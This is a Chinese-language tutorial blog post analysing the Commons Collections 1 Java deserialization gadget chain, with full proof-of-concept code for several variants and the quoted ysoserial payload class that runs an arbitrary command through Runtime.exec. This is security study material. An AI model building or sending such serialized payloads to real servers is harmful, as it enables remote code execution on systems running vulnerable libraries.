CommonsCollection1浅析

CommonsCollection1浅析

本文字数:2744  阅读时长:6分钟

访客数:加载中... | 阅读量:加载中...

CommonsCollections1 浅析

CC1 是反序列化最基础的一个利用链,也是最简单能看明白原理的链子。


简化 CC1

首先是一个超级简化的 CC1,它的作用是在本地执行 Runtime.getRuntime ().exec (“C:/Windows/System32/calc.exe”) 这行代码弹出计算器

java
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollection1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),// 包装 Runtime 类,在执行 transform 时返回该对象
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:/Windows/System32/calc.exe"}),};
        //InvokerTransformer 第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

        Transformer transformerChain = new ChainedTransformer(transformers);
        // 将内部的多个 Transformer 串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰,被修饰过的 Map 在添加新的元素时,将可以执⾏⼀个回调
        // 我们这⾥所说的” 回调 “,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了 Transformer 接⼝的类
        outerMap.put("test", "xxxx");
    }
}
  1. ConstantTransformer () 方法是对对象进行包装,当触发 transform 时返回该对象
  2. new InvokerTransformer(“exec”, new Class ,new Object ) 代表将要执行的是 exec(“C:/Windows/System32/calc.exe”)方法
  3. ChainedTransformer 的作用是将内部的多个 Transformer 串在⼀起。即前⼀个回调返回的结果,作为后⼀个回调的参数传入。譬如上述代码中,会先执行 ConstantTransformer (Runtime.getRuntime ()) 获取 Runtime.getRuntime () 对象,然后这个对象作为 InvokerTransformer (“exec”, new Class ,new Object ) 中的 new Class 的参数内容进行执行 Runtime.getRuntime ().exec (“C:/Windows/System32/calc.exe”) 弹出计算器
  4. TransformedMap ⽤于对 Java 标准数据结构 Map 做⼀个修饰,被修饰过的 Map 在添加新的元素时,将可以执⾏⼀个回调。而 TransformedMap.decorate () 执行后会返回被修饰后的 Map
  5. outerMap.put (“test”, “xxxx”); 触发 transform 从而触发整条利用链

触发点 TransformedMap.put

java
public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);// 触发
    return getMap().put(key, value);
}
java
protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

那 valueTransformer 是什么呢?我们回头看看 TransformedMap.decorate ()

java
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

发现了吗,Map outerMap = TransformedMap.decorate (innerMap, null, transformerChain); 其中的 valueTransformer 就是 transformerChain 就是命令执行的起始链,当触发后就会如上述点 3 介绍一样串联执行命令弹出计算器


调用链

  1. TransformedMap.put()
  2. TransformedMap.transformValue()
  3. ChainedTransformer.transform()
  4. ConstantTransformer.transform()
  5. InvokerTransformer.transform()

CC1x

现在我们再看一个简化 CC1 的升级版本,上面简化的 CC1 的触发方式是添加元素,然而我们执行反序列化时总不能在服务端添加元素触发利用链,因此我们需要换一个方法,那么就看看 CC1x

java
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1x {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),// 获取 class 对象而不是 Runtime 对象,因为 Runtime 对象有部分未实现序列化
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),// 在 transformerChain 时 new Class [0] 对应上述 Runtime.class
                // 获取 getRuntime 方法
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0]}),
                            new InvokerTransformer("exec", new Class[] { String.class },
                                new String[] {"C:/Windows/System32/calc.exe" }),};// 调用执行 exec ("calc.exe") 弹出计算机
        Transformer transformerChain = new ChainedTransformer(transformers);// 进行串联
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");//AnnotationInvocationHandler:readObject 的逻辑中,有一个 if 语句对 var7 进行判断,详情参考 Java 漫谈 10
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// 返回修饰后的 TransformedMap
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在 JDK 内部的类,不能直接使用 new 来实例化。因此使用反射获取它的构造方法
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);// 根据他的参数对该类的构造函数进行搜索并返回对应的构造函数
        construct.setAccessible(true);// 将其设置成外部可见的
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);// 再调用就可以实例化了
/* 触发原理:核心逻辑就是在 AnnotationInvocationHandler 的 readobject 里面有
Map.Entry<String, Object> memberValue : memberValues.entrySet () 和 memberValue.setValue (...)。
memberValues 就是反序列化后得到的 Map,也是经过了 TransformedMap 修饰的对象,这里遍历了它
的所有元素,并依次设置值。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform,进而执行我们为其精心设计的任意代码 */
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}// 好像跑不了版本要 Java 8u71 以前的版本

因为版本问题,部分源码借鉴一下,分析一下触发方式。

既然不能直接添加新元素,那我们要找到替代的类似方法,那么 sun.reflect.annotation.AnnotationInvocationHandler 这个类就符合我们的需求,看看它的 readObject 方法

java
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        
        throw new java.io.InvalidObjectException("Non-annotation type in
                annotation serial stream");
    }
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
                                                 
    for (Map.Entry<String, Object> memberValue :
            memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                memberValue.setValue( //setValue 进行触发
                        new AnnotationTypeMismatchExceptionProxy(
                                value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
            }
        }
    }
}

可以看到函数中有进行 memberValue.setValue,而这个 memberValue 就是 TransformedMap,跳转查看实现其在 TransformedMap 的实现

java
/**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

又看见熟悉的 transform 了,那么后面就是命令执行的调用链的开始

可以看到 CC1x 的代码有些不一样,不同全部用注释写在代码里了,需要注意的是这里使用的是反射获取原本不能访问的类,反射这是个神奇的机制,要深入了解一下。


调用链

  1. AnnotationInvocationHandler.readObject()
  2. TransformedMap.setvalue()
  3. ChainedTransformer.transform()
  4. ConstantTransformer.transform()
  5. InvokerTransformer.transform()

CC1xx

java
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1xx {// 使用 Proxy 进行代理,在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get,从而触发回调,详情参考 Java 漫谈 11
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {// 初始构造
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "C:/Windows/System32/calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);// 串联
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);// 对象代理进行劫持
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        // 我们如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

上述代码复现失败,而且 Debug 也有问题,进入 invoke 调用 get 时的对象居然不是 LazyMap 而是 AnnotationInvocationHandler 内置的 LinkedHashMap,不清楚是不是版本问题,求解。调试发现第一次对象为 LazyMap 执行时未成功触发调用 invoke。

这里只讲讲利用思路,将 AnnotationInvocationHandle 对象用 Proxy 进行代理,那么在 readObject 的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get,触发里面的 transform 从而触发整条调用链

如下是 AnnotationInvocationHandler#invoke 方法

java
public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);// 当 this.memberValues 为 LazyMap 时触发 LazyMap.get ()
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }

再看 Lazy.get () 方法执行了 factory.transform (key); 而 factory 是 transform 类型就是我们构造时传入的 ChainedTransformer,从而触发 ChainedTransformer.transform ()

java
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);// 触发 ChainedTransformer.transform ()
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

调用链

  1. AnnotationInvocationHandler.readObject()
  2. mapProxy.entrySet().iterator()
  3. AnnotationInvocationHandler.invoke()
  4. LazyMap.get()
  5. ChainedTransformer.transform()
  6. ConstantTransformer.transform()
  7. InvokerTransformer.transform()

ysoserial 里的 CC1 链

现在我们再来看看 ysoserial 里面的 CC1 链

java
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
       final String[] execArgs = new String[] { command };
       // inert chain for setup
       final Transformer transformerChain = new ChainedTransformer(
          new Transformer[]{ new ConstantTransformer(1) });
       // real chain for after setup
       final Transformer[] transformers = new Transformer[] {
             new ConstantTransformer(Runtime.class),
             new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
             new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
             new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
             new ConstantTransformer(1) };

       final Map innerMap = new HashMap();

       final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

       final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

       final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

       Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

       return handler;
    }

    public static void main(final String[] args) throws Exception {
       PayloadRunner.run(CommonsCollections1.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

可以发现和 CC1xx 链很像,但是又有所不同。细看代码可以发现它先构造了一个无用的 transformerChain,然后在最后才把真正 transformers 替换进去。这样的好处是防止在本地执行代码时触发调用链弹出计算器,如果你调试过之前的代码,你就会发现在 readObject () 前计算器就会弹出来一次。

在 transformers 这个集合的调用链里面多加了一行 new ConstantTransformer (1),这行代码作用是掩盖执行调用链时的报错信息,掩盖真正的触发点。其余的代码都是大同小异。


参考:

JAVA 安全初探 (三):CC1 链全分析 - 先知社区 (aliyun.com)

Java 安全漫谈